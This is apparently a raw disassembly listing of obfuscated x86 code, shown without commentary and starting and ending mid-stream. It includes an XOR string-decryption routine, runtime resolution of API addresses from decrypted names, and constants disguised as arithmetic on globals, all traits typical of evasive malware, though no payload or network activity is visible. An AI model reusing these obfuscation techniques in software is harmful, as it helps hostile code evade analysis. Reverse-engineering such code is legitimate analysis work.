lea ecx, [ecx+edx+24h]
push ecx
mov ecx, ds:100121B0h
mov ebx, ds:10012094h
add ebx, 45h
add ebx, ecx
push ebx
mov ebx, ds:10012174h
inc ebx
push ebx
push 50800003h
push 10012E0Eh
push 10012E0Fh
add edx, ecx
sub edx, 5
push edx
call dword ptr ds:10010648h
mov edi, [ebp+var_2AC]
mov ds:1000F380h[edi], eax
push 0
push dword ptr [ebp-10Ch]
push 0
mov eax, 30h
mul esi
mov [ebp+var_2B0], eax
mov [ebp+var_2B4], eax
push dword ptr ds:1000F37Ch[eax]
movsx edx, word ptr ds:10012110h
mov ecx, ds:10012108h
lea edx, [edx+ecx+128h]
push edx
movsx edx, word ptr ds:100120B0h
mov ecx, ds:100120F0h
lea edx, [edx+ecx+30h]
push edx
movsx edx, word ptr ds:100120E8h
mov ecx, ds:100120E4h
add ecx, 44h
add ecx, edx
push ecx
mov ecx, ds:10012104h
add ecx, 3Eh
add ecx, edx
push ecx
push 50800003h
push 10012E0Eh
push 10012E0Fh
movsx edx, word ptr ds:10012148h
sub edx, 3
push edx
call dword ptr ds:10010648h
mov edi, [ebp+var_2B4]
mov ds:1000F384h[edi], eax
mov eax, ds:10012134h
add eax, ds:10012120h
sub eax, 4
mov [ebp+var_102], ax
jmp loc_422035
; ---------------------------------------------------------------------------
loc_421F81: ; CODE XREF: sub_42149B+BACj
push 10012E06h
call sub_4228CE
movzx edi, [ebp+var_102]
push edi
push eax
lea edi, [ebp+var_2BE]
push edi
call dword ptr ds:10011634h
lea eax, [ebp+var_2BE]
push eax
mov eax, ds:100120B8h
add eax, ds:100120B4h
sub eax, 0Ch
push eax
push 143h
mov eax, 30h
mul esi
mov [ebp+var_2C4], eax
push dword ptr ds:1000F380h[eax]
call dword ptr ds:1000C014h
push 10012DFCh
call sub_4228CE
movzx edi, [ebp+var_102]
mov ebx, ds:100120ECh
inc ebx
add edi, ebx
push edi
push eax
lea edi, [ebp+var_2BE]
push edi
call dword ptr ds:10011634h
add esp, 20h
lea eax, [ebp+var_2BE]
push eax
push dword ptr ds:10012130h
push 143h
mov eax, 30h
mul esi
mov [ebp+var_2C8], eax
push dword ptr ds:1000F384h[eax]
call dword ptr ds:1000C014h
inc [ebp+var_102]
loc_422035: ; CODE XREF: sub_42149B+AE1j
movzx eax, [ebp+var_102]
mov edx, ds:100121A4h
add edx, 0Dh
cmp eax, edx
jl loc_421F81
push 0
push dword ptr [ebp-10Ch]
push 0
mov eax, 30h
mul esi
mov [ebp+var_2B8], eax
mov [ebp+var_2BC], eax
push dword ptr ds:1000F37Ch[eax]
movsx edx, word ptr ds:10012110h
add edx, 14h
push edx
mov edx, ds:10012138h
add edx, 4Dh
movsx ecx, word ptr ds:100120E0h
add edx, ecx
push edx
movsx edx, word ptr ds:100120D8h
add edx, 77h
push edx
movsx edx, word ptr ds:1001219Ch
add edx, 29h
push edx
push 50800000h
push 10012E0Eh
push 10012DF7h
push 200h
call dword ptr ds:10010648h
mov edi, [ebp+var_2BC]
mov ds:1000F388h[edi], eax
movsx eax, word ptr ds:100120BCh
add eax, ds:100120ACh
sub eax, 0Ch
push eax
push 58h
push 0CCh
mov eax, 30h
mul esi
mov [ebp-2C0h], eax
push dword ptr ds:1000F388h[eax]
call dword ptr ds:1000C014h
push 10012DEDh
call sub_4228CE
mov [ebp+var_2C4], eax
push 10012DCBh
call sub_4228CE
add esp, 8
mov [ebp+var_2C8], eax
push 0
push dword ptr [ebp-10Ch]
push 0
mov eax, 30h
mul esi
mov [ebp+var_2CC], eax
mov edi, eax
push dword ptr ds:1000F37Ch[edi]
mov edi, ds:10012138h
add edi, 38h
add edi, ds:100121B0h
push edi
push [ebp+var_120]
movsx edi, word ptr ds:10012154h
add edi, 47h
push edi
movsx edi, word ptr ds:100120F4h
movsx ebx, word ptr ds:10012148h
lea edi, [edi+ebx+8Ah]
push edi
push 50000000h
mov edi, [ebp+var_2C8]
push edi
mov edi, [ebp+var_2C4]
push edi
mov edi, ds:100120FCh
movsx ebx, word ptr ds:1001216Ch
add edi, ebx
sub edi, 0Bh
push edi
call dword ptr ds:10010648h
mov [ebp+var_25C], eax
push 1
push [ebp+var_130]
push 30h
push eax
call dword ptr ds:1000C014h
push 0
push dword ptr [ebp-10Ch]
push 0
mov eax, 30h
mul esi
mov [ebp+var_2D0], eax
mov [ebp+var_2D4], eax
push dword ptr ds:1000F37Ch[eax]
mov edx, ds:10012178h
add edx, 14h
push edx
mov edx, ds:10012188h
add edx, 93h
add edx, ds:10012198h
push edx
mov edx, ds:1001214Ch
add edx, 0EDh
add edx, ds:10012098h
mov ecx, ds:100120F0h
add ecx, 1Fh
sub edx, ecx
push edx
mov edx, ds:1001213Ch
add edx, 8
push edx
push 50800000h
push 10012DADh
push 10012DC4h
mov edx, ds:100121C0h
add edx, ds:100120C4h
sub edx, 7
push edx
call dword ptr ds:10010648h
mov edi, [ebp+var_2D4]
mov ds:1000F38Ch[edi], eax
push 1
push [ebp+var_130]
mov eax, 30h
push 30h
mul esi
mov [ebp+var_2D8], eax
push dword ptr ds:1000F38Ch[eax]
call dword ptr ds:1000C014h
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_2DC], eax
mov [ebp+var_2E0], eax
push dword ptr ds:1000F380h[eax]
call dword ptr ds:10011628h
mov edi, [ebp+var_2E0]
mov ds:1000F390h[edi], eax
push 1000134Dh
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_2E4], eax
push dword ptr ds:1000F380h[eax]
call dword ptr ds:1000E5F8h
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_2E8], eax
mov [ebp+var_2EC], eax
push dword ptr ds:1000F384h[eax]
call dword ptr ds:10011628h
mov edi, [ebp+var_2EC]
mov ds:1000F394h[edi], eax
push 1000134Dh
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_2F0], eax
push dword ptr ds:1000F384h[eax]
call dword ptr ds:1000E5F8h
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_2F4], eax
mov [ebp+var_2F8], eax
push dword ptr ds:1000F388h[eax]
call dword ptr ds:10011628h
mov edi, [ebp+var_2F8]
mov ds:1000F398h[edi], eax
push 1000134Dh
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_2FC], eax
push dword ptr ds:1000F388h[eax]
call dword ptr ds:1000E5F8h
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_300], eax
mov [ebp+var_304], eax
push dword ptr ds:1000F37Ch[eax]
call dword ptr ds:10011628h
mov edi, [ebp+var_304]
mov ds:1000F39Ch[edi], eax
push 1000134Dh
push 0FFFFFFFCh
mov eax, 30h
mul esi
mov [ebp+var_308], eax
push dword ptr ds:1000F37Ch[eax]
call dword ptr ds:1000E5F8h
mov eax, 30h
mul esi
mov [ebp+var_30C], eax
push dword ptr ds:1000F380h[eax]
call dword ptr ds:1000EA40h
loc_4223D4: ; CODE XREF: sub_42149B+10j
; sub_42149B+21j ...
pop edi
pop esi
pop ebx
leave
retn
sub_42149B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4223D9 proc near ; CODE XREF: sub_41B939+1C4p
; sub_41C561+20p ...
var_120A = byte ptr -120Ah
var_110B = byte ptr -110Bh
var_100C = dword ptr -100Ch
var_1008 = dword ptr -1008h
var_1004 = dword ptr -1004h
var_FFF = byte ptr -0FFFh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 120Ch
call sub_424F4D
push ebx
push esi
push edi
push 1001297Eh
call sub_4228CE
push eax
lea edi, [ebp+var_FFF]
push edi
call dword ptr ds:10011634h
add esp, 0Ch
mov eax, ds:100120ECh
mov esi, eax
add esi, ds:10012144h
sub esi, 0Ah
jmp short loc_422436
; ---------------------------------------------------------------------------
loc_422416: ; CODE XREF: sub_4223D9+63j
cmp [ebp+esi+var_FFF], 23h
jnz short loc_422435
mov eax, ds:100120F8h
add eax, ds:10012118h
sub eax, 3
mov [ebp+esi+var_FFF], al
loc_422435: ; CODE XREF: sub_4223D9+45j
inc esi
loc_422436: ; CODE XREF: sub_4223D9+3Bj
cmp esi, 0FFFh
jb short loc_422416
mov eax, ds:100120F8h
add eax, ds:10012184h
sub eax, 8
mov [ebp+var_1004], eax
mov eax, ds:10012108h
mov ebx, eax
add ebx, ds:1001212Ch
sub ebx, 5
cmp [ebp+arg_0], 0
jnz short loc_4224C1
loc_422468: ; CODE XREF: sub_4223D9+E6j
mov eax, [ebp+arg_4]
cmp [ebp+var_1004], eax
jnz short loc_42248A
lea eax, [ebp+ebx+var_FFF]
push eax
push 10011670h
call sub_424F6D
jmp loc_422720
; ---------------------------------------------------------------------------
loc_42248A: ; CODE XREF: sub_4223D9+98j
lea ecx, [ebp+ebx+var_FFF]
or eax, 0FFFFFFFFh
loc_422494: ; CODE XREF: sub_4223D9+C0j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_422494
add ebx, eax
add ebx, 1
inc [ebp+var_1004]
movsx eax, [ebp+ebx+var_FFF]
mov edx, ds:100121A0h
sub edx, 6
cmp eax, edx
jz loc_422720
jmp short loc_422468
; ---------------------------------------------------------------------------
loc_4224C1: ; CODE XREF: sub_4223D9+8Dj
mov eax, ds:10012290h
mov [ebp+var_1008], eax
mov eax, ds:10012094h
movsx edx, word ptr ds:100120E0h
add eax, edx
sub eax, 6
mov edx, [ebp+arg_0]
movsx ecx, word ptr ds:10012090h
dec ecx
mov [edx+eax], cl
movsx eax, word ptr ds:10012180h
movsx edx, word ptr ds:100121A8h
mov ebx, eax
add ebx, edx
sub ebx, 6
mov eax, ds:100121A4h
mov [ebp+var_1004], eax
loc_42250B: ; CODE XREF: sub_4223D9+31Fj
push 10012973h
call sub_4228CE
push eax
lea edi, [ebp+var_110B]
push edi
call sub_424F6D
lea eax, [ebp+ebx+var_FFF]
push eax
lea eax, [ebp+var_110B]
push eax
call dword ptr ds:1000C020h
add esp, 0Ch
call dword ptr ds:10011BACh
mov ecx, 14h
cdq
idiv ecx
mov [ebp+var_100C], edx
mov eax, ds:100120B4h
sub eax, 6
cmp edx, eax
jnb loc_422643
push [ebp+var_1008]
lea eax, [ebp+var_120A]
push eax
call sub_41E5D9
mov eax, ds:10012198h
add eax, ds:100120D4h
sub eax, 8
push eax
lea eax, [ebp+var_110B]
push eax
push [ebp+arg_0]
call sub_41DB51
add esp, 14h
mov edi, ds:100120B8h
add edi, 0FFF3h
movsx edx, word ptr ds:100120B0h
add edi, edx
cmp eax, edi
jnz short loc_4225D1
lea eax, [ebp+var_110B]
push eax
push [ebp+arg_0]
call dword ptr ds:1000C020h
push 1001296Eh
call sub_4228CE
push eax
push [ebp+arg_0]
call dword ptr ds:1000C020h
add esp, 14h
loc_4225D1: ; CODE XREF: sub_4223D9+1CFj
mov eax, ds:1001217Ch
sub eax, 5
push eax
lea eax, [ebp+var_120A]
push eax
push [ebp+arg_0]
call sub_41DB51
add esp, 0Ch
mov edi, ds:10012164h
add edi, 0FFFDh
add edi, ds:100121C8h
cmp eax, edi
jnz short loc_42263D
push 10012963h
call sub_4228CE
push eax
push [ebp+arg_0]
call dword ptr ds:1000C020h
lea eax, [ebp+var_120A]
push eax
push [ebp+arg_0]
call dword ptr ds:1000C020h
push 1001295Eh
call sub_4228CE
push eax
push [ebp+arg_0]
call dword ptr ds:1000C020h
add esp, 20h
loc_42263D: ; CODE XREF: sub_4223D9+227j
inc [ebp+var_1008]
loc_422643: ; CODE XREF: sub_4223D9+17Fj
push [ebp+var_1004]
call sub_424130
pop ecx
mov [ebp+var_100C], eax
mov ecx, ds:100120B4h
sub ecx, 6
cmp eax, ecx
jnb short loc_4226C3
mov eax, ds:10012184h
movsx edx, word ptr ds:10012154h
add eax, edx
sub eax, 0Dh
push eax
lea eax, [ebp+var_110B]
push eax
push [ebp+arg_0]
call sub_41DB51
add esp, 0Ch
mov edi, ds:10012160h
add edi, 0FFF4h
add edi, ds:100121B8h
cmp eax, edi
jnz short loc_4226C3
lea eax, [ebp+var_110B]
push eax
push [ebp+arg_0]
call dword ptr ds:1000C020h
push 10012959h
call sub_4228CE
push eax
push [ebp+arg_0]
call dword ptr ds:1000C020h
add esp, 14h
loc_4226C3: ; CODE XREF: sub_4223D9+287j
; sub_4223D9+2C1j
lea ecx, [ebp+ebx+var_FFF]
or eax, 0FFFFFFFFh
loc_4226CD: ; CODE XREF: sub_4223D9+2F9j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4226CD
add ebx, eax
add ebx, 1
inc [ebp+var_1004]
movsx eax, [ebp+ebx+var_FFF]
mov edx, ds:100120A4h
add edx, ds:1001213Ch
sub edx, 4
cmp eax, edx
jnz loc_42250B
push 10012954h
call sub_4228CE
push eax
push [ebp+arg_0]
call dword ptr ds:1000C020h
add esp, 0Ch
mov eax, [ebp+var_1008]
mov ds:10012290h, eax
loc_422720: ; CODE XREF: sub_4223D9+ACj
; sub_4223D9+E0j
pop edi
pop esi
pop ebx
leave
retn
sub_4223D9 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 2000h
call sub_424F4D
push esi
push edi
push 1FFFh
lea eax, [ebp-1FFFh]
push eax
push dword ptr [ebp+8]
call dword ptr ds:10011BA4h
push 1001293Fh
call sub_4228CE
mov edi, ds:100120E4h
dec edi
push edi
push eax
lea edi, [ebp-1FFFh]
push edi
call sub_41DB51
add esp, 10h
mov esi, ds:100121C0h
add esi, 0FFF8h
add esi, ds:100121ACh
cmp eax, esi
jz short loc_42278A
push dword ptr [ebp+8]
call sub_41F2AD
pop ecx
loc_42278A: ; CODE XREF: .data:0042277Fj
xor eax, eax
inc eax
pop edi
pop esi
leave
retn 8
; =============== S U B R O U T I N E =======================================
sub_422793 proc near ; CODE XREF: .data:0042302Dp
push edi
push 10012932h
call sub_4228CE
pop ecx
push eax
call dword ptr ds:1000E5E8h
mov ds:100121E4h, eax
test eax, eax
jnz short loc_4227C6
push 10012925h
call sub_4228CE
pop ecx
push eax
call dword ptr ds:1000F244h
mov ds:100121E4h, eax
loc_4227C6: ; CODE XREF: sub_422793+1Aj
push 10012912h
call sub_4228CE
push eax
push dword ptr ds:100121E4h
call dword ptr ds:1000E1F8h
mov ds:10011BB4h, eax
push 100128FEh
call sub_4228CE
push eax
push dword ptr ds:100121E4h
call dword ptr ds:1000E1F8h
mov ds:1000E620h, eax
push 100128EEh
call sub_4228CE
push eax
push dword ptr ds:100121E4h
call dword ptr ds:1000E1F8h
mov ds:1000E0D0h, eax
push 100128DCh
call sub_4228CE
push eax
push dword ptr ds:100121E4h
call dword ptr ds:1000E1F8h
mov ds:1000E0D8h, eax
push 100128CDh
call sub_4228CE
add esp, 14h
push eax
push dword ptr ds:100121E4h
call dword ptr ds:1000E1F8h
mov ds:10011644h, eax
pop edi
retn
sub_422793 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422857 proc near ; CODE XREF: sub_41B939+A4p
; sub_41E9E2+14Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov eax, ds:100120E4h
movsx edx, word ptr ds:100120D8h
mov esi, eax
add esi, edx
sub esi, 7
jmp short loc_4228AA
; ---------------------------------------------------------------------------
loc_422875: ; CODE XREF: sub_422857+56j
call dword ptr ds:10011BACh
mov edi, ds:10012164h
add edi, 5Dh
movsx edx, word ptr ds:10012110h
add edi, edx
mov edx, 10624DD3h
push ecx
mov ecx, eax
imul edx
sar edx, 7
sar ecx, 1Fh
sub edx, ecx
mov eax, edx
pop ecx
add edi, eax
mov edx, edi
mov [ebx+esi], dl
inc esi
loc_4228AA: ; CODE XREF: sub_422857+1Cj
cmp esi, [ebp+arg_4]
jl short loc_422875
mov eax, [ebp+arg_4]
movsx edx, word ptr ds:10012148h
sub edx, 3
mov [ebx+eax], dl
mov eax, ebx
pop edi
pop esi
pop ebx
pop ebp
retn
sub_422857 endp
; ---------------------------------------------------------------------------
dw 1B8h
dd 0C2800040h
db 8, 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4228CE proc near ; CODE XREF: .data:0041A95Fp
; .data:0041AA11p ...
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
cmp dword ptr ds:100121D0h, 0
jnz short loc_4228F6
push 10011BC0h
call dword ptr ds:1000D008h
mov dword ptr ds:100121D0h, 1
loc_4228F6: ; CODE XREF: sub_4228CE+11j
mov esi, ds:10012118h
add esi, ds:1001211Ch
dec esi
movzx ebx, byte ptr [edi]
movzx edx, byte ptr [edi+1]
movzx edx, dx
shl edx, 8
or ebx, edx
movzx ebx, bx
add esi, ebx
mov [ebp+var_4], si
movzx eax, [ebp+var_4]
mov edx, ds:10012184h
sub edx, 3
cmp eax, edx
jz short loc_4229A8
push 10011BC0h
call dword ptr ds:1001165Ch
movsx eax, word ptr ds:100120E0h
add eax, 3
mov [ebp+var_2], ax
jmp short loc_42295C
; ---------------------------------------------------------------------------
loc_422947: ; CODE XREF: sub_4228CE+98j
movzx eax, [ebp+var_2]
add eax, edi
movsx edx, byte ptr [eax]
movsx ecx, byte ptr [edi+2]
xor edx, ecx
mov [eax], dl
inc [ebp+var_2]
loc_42295C: ; CODE XREF: sub_4228CE+77j
movzx eax, [ebp+var_2]
movzx edx, [ebp+var_4]
cmp eax, edx
jl short loc_422947
mov eax, ds:10012160h
add eax, ds:10012108h
sub eax, 8
movsx edx, word ptr ds:10012150h
sub edx, 5
mov [edi+eax], dl
mov eax, ds:1001214Ch
add eax, ds:10012164h
sub eax, 5
mov edx, ds:10012178h
sub edx, 3
mov [edi+eax], dl
push 10011BC0h
call dword ptr ds:1001064Ch
loc_4229A8: ; CODE XREF: sub_4228CE+5Cj
lea eax, [edi+3]
pop edi
pop esi
pop ebx
leave
retn
sub_4228CE endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push edi
mov edi, [ebp+0Ch]
mov eax, [ebp+18h]
mov [ebp+18h], ax
mov eax, ds:10012164h
add eax, 0F8h
add eax, ds:100120E4h
cmp edi, eax
jnz short loc_4229DF
push dword ptr [ebp+1Ch]
call sub_41F4F7
pop ecx
xor eax, eax
jmp short loc_4229FF
; ---------------------------------------------------------------------------
loc_4229DF: ; CODE XREF: .data:004229D0j
mov eax, ds:100120D4h
add eax, 102h
cmp edi, eax
jnz short loc_4229FA
push dword ptr [ebp+1Ch]
call sub_4242A2
pop ecx
xor eax, eax
jmp short loc_4229FF
; ---------------------------------------------------------------------------
loc_4229FA: ; CODE XREF: .data:004229EBj
mov eax, 80020003h
loc_4229FF: ; CODE XREF: .data:004229DDj
; .data:004229F8j
pop edi
pop ebp
retn 24h
; =============== S U B R O U T I N E =======================================
sub_422A04 proc near ; CODE XREF: .data:00423037p
push edi
push 100128C2h
call sub_4228CE
pop ecx
push eax
call dword ptr ds:1000E5E8h
mov ds:100121ECh, eax
test eax, eax
jnz short loc_422A37
push 100128B7h
call sub_4228CE
pop ecx
push eax
call dword ptr ds:1000F244h
mov ds:100121ECh, eax
loc_422A37: ; CODE XREF: sub_422A04+1Aj
cmp dword ptr ds:100121ECh, 0
jz short loc_422A5D
push 100128A1h
call sub_4228CE
pop ecx
push eax
push dword ptr ds:100121ECh
call dword ptr ds:1000E1F8h
mov ds:1000E600h, eax
loc_422A5D: ; CODE XREF: sub_422A04+3Aj
pop edi
retn
sub_422A04 endp
; ---------------------------------------------------------------------------
db 0Fh
dd 21A805BFh, 50401001h, 166015FFh
db 1, 10h, 0C3h
; =============== S U B R O U T I N E =======================================
sub_422A6F proc near ; CODE XREF: .data:00420FC1p
push edi
push 10012893h
call sub_4228CE
pop ecx
push eax
call dword ptr ds:1000E5E8h
mov ds:100121D8h, eax
test eax, eax
jnz short loc_422AA2
push 10012885h
call sub_4228CE
pop ecx
push eax
call dword ptr ds:1000F244h
mov ds:100121D8h, eax
loc_422AA2: ; CODE XREF: sub_422A6F+1Aj
push 1001287Bh
call sub_4228CE
push eax
push dword ptr ds:100121D8h
call dword ptr ds:1000E1F8h
mov ds:10011630h, eax
push 10012870h
call sub_4228CE
push eax
push dword ptr ds:100121D8h
call dword ptr ds:1000E1F8h
mov ds:1000C030h, eax
push 10012868h
call sub_4228CE
push eax
push dword ptr ds:100121D8h
call dword ptr ds:1000E1F8h
mov ds:1000C054h, eax
push 10012860h
call sub_4228CE
push eax
push dword ptr ds:100121D8h
call dword ptr ds:1000E1F8h
mov ds:1000EA38h, eax
push 10012856h
call sub_4228CE
push eax
push dword ptr ds:100121D8h
call dword ptr ds:1000E1F8h
mov ds:1000EA2Ch, eax
push 1001284Ch
call sub_4228CE
push eax
push dword ptr ds:100121D8h
call dword ptr ds:1000E1F8h
mov ds:10011648h, eax
push 10012842h
call sub_4228CE
push eax
push dword ptr ds:100121D8h
call dword ptr ds:1000E1F8h
mov ds:10010634h, eax
push 10012838h
call sub_4228CE
push eax
push dword ptr ds:100121D8h
call dword ptr ds:1000E1F8h
mov ds:10010640h, eax
push 10012830h
call sub_4228CE
push eax
push dword ptr ds:100121D8h
call dword ptr ds:1000E1F8h
mov ds:10011BACh, eax
push 10012827h
call sub_4228CE
push eax
push dword ptr ds:100121D8h
call dword ptr ds:1000E1F8h
mov ds:10011600h, eax
push 1001281Dh
call sub_4228CE
push eax
push dword ptr ds:100121D8h
call dword ptr ds:1000E1F8h
mov ds:1000C020h, eax
push 10012812h
call sub_4228CE
push eax
push dword ptr ds:100121D8h
call dword ptr ds:1000E1F8h
mov ds:10011634h, eax
push 10012806h
call sub_4228CE
push eax
push dword ptr ds:100121D8h
call dword ptr ds:1000E1F8h
mov ds:1000F24Ch, eax
push 100127FCh
call sub_4228CE
add esp, 38h
push eax
push dword ptr ds:100121D8h
call dword ptr ds:1000E1F8h
mov ds:1000E1F4h, eax
pop edi
retn
sub_422A6F endp
; =============== S U B R O U T I N E =======================================
sub_422C2F proc near ; CODE XREF: .data:0042303Cp
push edi
push 100127EEh
call sub_4228CE
pop ecx
push eax
call dword ptr ds:1000E5E8h
mov ds:100121F0h, eax
test eax, eax
jnz short loc_422C62
push 100127E0h
call sub_4228CE
pop ecx
push eax
call dword ptr ds:1000F244h
mov ds:100121F0h, eax
loc_422C62: ; CODE XREF: sub_422C2F+1Aj
cmp dword ptr ds:100121F0h, 0
jz short loc_422C87
movsx eax, word ptr ds:10012148h
add eax, 2
push eax
push dword ptr ds:100121F0h
call dword ptr ds:1000E1F8h
mov ds:1000C01Ch, eax
loc_422C87: ; CODE XREF: sub_422C2F+3Aj
pop edi
retn
sub_422C2F endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 21Ch
push ebx
push esi
push edi
lea eax, [ebp-210h]
push eax
push 1000E0F0h
call sub_41B0D6
add esp, 8
mov [ebp-208h], eax
test eax, eax
jnz short loc_422CBA
xor eax, eax
jmp loc_422E4E
; ---------------------------------------------------------------------------
loc_422CBA: ; CODE XREF: .data:00422CB1j
mov eax, ds:100120A0h
movsx edx, word ptr ds:100120B0h
add eax, edx
sub eax, 8
mov [ebp-204h], eax
loc_422CD1: ; CODE XREF: .data:00422E3Aj
mov eax, [ebp-204h]
mov edx, [ebp-208h]
lea ecx, [edx+eax]
or eax, 0FFFFFFFFh
loc_422CE3: ; CODE XREF: .data:00422CE8j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_422CE3
mov [ebp-20Ch], eax
cmp dword ptr [ebp-20Ch], 0FFh
jnb short loc_422D20
mov eax, [ebp-204h]
mov edx, ds:100121B8h
sub edx, 2
add eax, edx
add eax, [ebp-208h]
push eax
lea eax, [ebp-0FFh]
push eax
call sub_424F6D
loc_422D20: ; CODE XREF: .data:00422CFAj
mov eax, ds:1001215Ch
mov esi, eax
add esi, ds:10012178h
sub esi, 7
jmp short loc_422D57
; ---------------------------------------------------------------------------
loc_422D32: ; CODE XREF: .data:00422D69j
cmp byte ptr [ebp+esi-0FFh], 28h
jnz short loc_422D44
mov byte ptr [ebp+esi-0FFh], 2Bh
loc_422D44: ; CODE XREF: .data:00422D3Aj
cmp byte ptr [ebp+esi-0FFh], 29h
jnz short loc_422D56
mov byte ptr [ebp+esi-0FFh], 3Dh
loc_422D56: ; CODE XREF: .data:00422D4Cj
inc esi
loc_422D57: ; CODE XREF: .data:00422D30j
lea ecx, [ebp-0FFh]
or eax, 0FFFFFFFFh
loc_422D60: ; CODE XREF: .data:00422D65j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_422D60
cmp esi, eax
jb short loc_422D32
push 0FFh
lea eax, [ebp-1FEh]
push eax
lea eax, [ebp-0FFh]
push eax
call sub_423767
add esp, 0Ch
mov ebx, eax
mov edi, ds:10012160h
sub edi, 8
jmp short loc_422DC1
; ---------------------------------------------------------------------------
loc_422D93: ; CODE XREF: .data:00422DC3j
movsx eax, byte ptr [ebp+edi-1FEh]
mov [ebp-218h], eax
mov eax, edi
mul edi
mov [ebp-21Ch], eax
mov eax, [ebp-218h]
mov edx, [ebp-21Ch]
sub eax, edx
mov [ebp+edi-1FEh], al
inc edi
loc_422DC1: ; CODE XREF: .data:00422D91j
cmp edi, ebx
jb short loc_422D93
movsx eax, word ptr ds:10012110h
sub eax, 3
push eax
push dword ptr [ebp+8]
lea eax, [ebp-1FEh]
push eax
call sub_41DB51
add esp, 0Ch
mov [ebp-214h], eax
mov eax, ds:1001214Ch
add eax, 0FFF8h
add eax, ds:100121B4h
cmp [ebp-214h], eax
jz short loc_422E11
push dword ptr [ebp-208h]
call dword ptr ds:1000E618h
xor eax, eax
inc eax
jmp short loc_422E4E
; ---------------------------------------------------------------------------
loc_422E11: ; CODE XREF: .data:00422DFEj
mov eax, [ebp-20Ch]
mov edx, ds:100121A4h
add edx, ds:10012160h
sub edx, 3
add eax, edx
add [ebp-204h], eax
mov eax, [ebp-210h]
cmp [ebp-204h], eax
jb loc_422CD1
push dword ptr [ebp-208h]
call dword ptr ds:1000E618h
xor eax, eax
loc_422E4E: ; CODE XREF: .data:00422CB5j
; .data:00422E0Fj
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422E53 proc near ; CODE XREF: sub_41E2FF+2CDp
; sub_423CF4+23Bp
var_32C = dword ptr -32Ch
var_328 = dword ptr -328h
var_324 = dword ptr -324h
var_320 = dword ptr -320h
var_31C = dword ptr -31Ch
var_316 = byte ptr -316h
var_212 = byte ptr -212h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 32Ch
push ebx
push esi
push edi
push [ebp+arg_4]
call dword ptr ds:10011630h
pop ecx
push [ebp+arg_0]
lea eax, [ebp+var_316]
push eax
call sub_424F6D
lea ecx, [ebp+var_316]
or eax, 0FFFFFFFFh
loc_422E81: ; CODE XREF: sub_422E53+33j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_422E81
mov edx, ds:10012160h
sub edx, 7
mov ebx, eax
sub ebx, edx
movsx edx, word ptr ds:10012194h
add edx, ds:100120F8h
sub edx, 2
mov [ebp+ebx+var_316], dl
mov edi, ds:10012158h
loc_422EB2: ; CODE XREF: sub_422E53+158j
mov eax, edi
movsx ecx, word ptr ds:1001216Ch
add ecx, ds:10012094h
sub ecx, 8
mul ecx
mov [ebp+var_320], eax
movsx eax, [ebp+edi+var_316]
mov edx, [ebp+var_320]
mov [ebp+edx+var_212], al
mov eax, edi
mov ecx, ds:100120ACh
dec ecx
mul ecx
mov [ebp+var_324], eax
mov eax, ds:10012178h
sub eax, 2
mov edx, [ebp+var_324]
add edx, eax
mov eax, ds:100120FCh
sub eax, 7
mov [ebp+edx+var_212], al
movsx eax, [ebp+edi+var_316]
mov edx, ds:10012104h
sub edx, 3
cmp eax, edx
jnz loc_422FAA
mov eax, edi
movsx ecx, word ptr ds:100120E0h
add ecx, ds:100120E4h
mul ecx
mov [ebp+var_328], eax
movsx eax, word ptr ds:1001219Ch
add eax, ds:100121ACh
sub eax, 8
mov edx, [ebp+var_328]
add edx, eax
mov eax, ds:100120D4h
dec eax
mov [ebp+edx+var_212], al
mov eax, edi
mov ecx, ds:1001211Ch
add ecx, ds:1001210Ch
sub ecx, 8
mul ecx
mov [ebp+var_32C], eax
movsx eax, word ptr ds:100120D8h
sub eax, 2
mov edx, [ebp+var_32C]
add edx, eax
movsx eax, word ptr ds:10012090h
add eax, ds:100120A4h
sub eax, 3
mov [ebp+edx+var_212], al
jmp short loc_422FB0
; ---------------------------------------------------------------------------
loc_422FAA: ; CODE XREF: sub_422E53+D1j
inc edi
jmp loc_422EB2
; ---------------------------------------------------------------------------
loc_422FB0: ; CODE XREF: sub_422E53+155j
cmp dword ptr ds:100121ECh, 0
jz short loc_422FF1
lea eax, [ebp+var_212]
push eax
push 0
call dword ptr ds:1000E600h
mov esi, eax
or esi, esi
jz short loc_422FF1
cmp dword ptr ds:100121F0h, 0
jz short loc_423012
mov eax, ds:100121ACh
sub eax, 3
neg eax
push eax
lea eax, [ebp+var_212]
push eax
push 0
call dword ptr ds:1000C01Ch
loc_422FF1: ; CODE XREF: sub_422E53+164j
; sub_422E53+179j
push dword ptr ds:1000E610h
push dword ptr ds:10011610h
lea eax, [ebp+var_316]
push eax
call sub_41C797
add esp, 0Ch
mov [ebp+var_31C], eax
loc_423012: ; CODE XREF: sub_422E53+182j
pop edi
pop esi
pop ebx
leave
retn
sub_422E53 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 158h
push ebx
push esi
push edi
